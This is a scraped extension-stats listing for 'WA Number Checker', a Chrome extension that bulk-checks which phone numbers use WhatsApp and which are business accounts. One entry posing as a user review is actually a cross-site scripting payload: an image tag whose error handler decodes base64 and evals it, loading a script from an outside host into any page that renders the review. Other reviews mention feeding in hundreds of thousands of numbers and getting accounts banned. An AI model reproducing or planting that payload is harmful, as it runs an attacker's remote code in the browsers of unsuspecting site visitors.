WA Number Checker

This is a chrome extension for WhatsApp Web. Using this extension you can easily check if a number has WhatsApp enabled on it.
What is WA Number Checker?
"WA Number Checker" is a Chrome extension for WhatsApp Web, helping users determine which phone numbers can receive WhatsApp messages and identify business accounts. It's an unofficial tool and is to be used in compliance with WhatsApp policies.

Extension stats

Users: 1,000+
Rating: 1.67 (6)
Version: 0.0.1 (Last updated: 2021-03-09)
Creation date: 2021-03-08
Risk impact: Moderate risk impact
Risk likelihood: Low risk likelihood
Manifest version: 2
Permissions:
  • activeTab
  • tabs
Size: 25.52K

Other platforms

Not available on Firefox
Not available on Edge
Want to check extension ranking and stats more quickly for other Chrome extensions? Install Chrome-Stats extension to view Chrome-Stats data as you browse the Chrome Web Store.
Chrome-Stats extension

Extension summary

WA Number Checker helps you to identify which phone numbers can receive WhatsApp messages and which numbers cannot.

BONUS: It also identifies if its a business account or not.

How to use:

  1. Login to "web.whatsapp.com".
  2. Click on the extension to activate it.
  3. You can enter a list of phone numbers to the input area provided on the left.
  4. Press the "Check" button.
  5. You can see the results on the area provided on the right.
  6. You can toggle the results in CSV or JSON as required.
  7. You can copy/download the results with one click.

IMPORTANT: You have to be logged in to your WhatsApp Web for the extension to work.

See more

User reviews

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL3Y3YnNiOGppZWIiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
by Amit Kumar Biswas, 2023-04-22

Не работает... 580000 номеров не может проглотить.. ерунда а не расширение...
by Sebastiano Pereiro, 2022-12-10

dont use it , my whatsapp number got banned. Never use it.
by Pritesh Patel, 2021-10-19
View all user reviews

Extension safety

Risk impact

WA Number Checker requires a few sensitive permissions. Exercise caution before installing.

Risk likelihood

WA Number Checker has earned a fairly good reputation and likely can be trusted.

Upgrade to see risk analysis details

Similar extensions

Here are some Chrome extensions that are similar to WA Number Checker: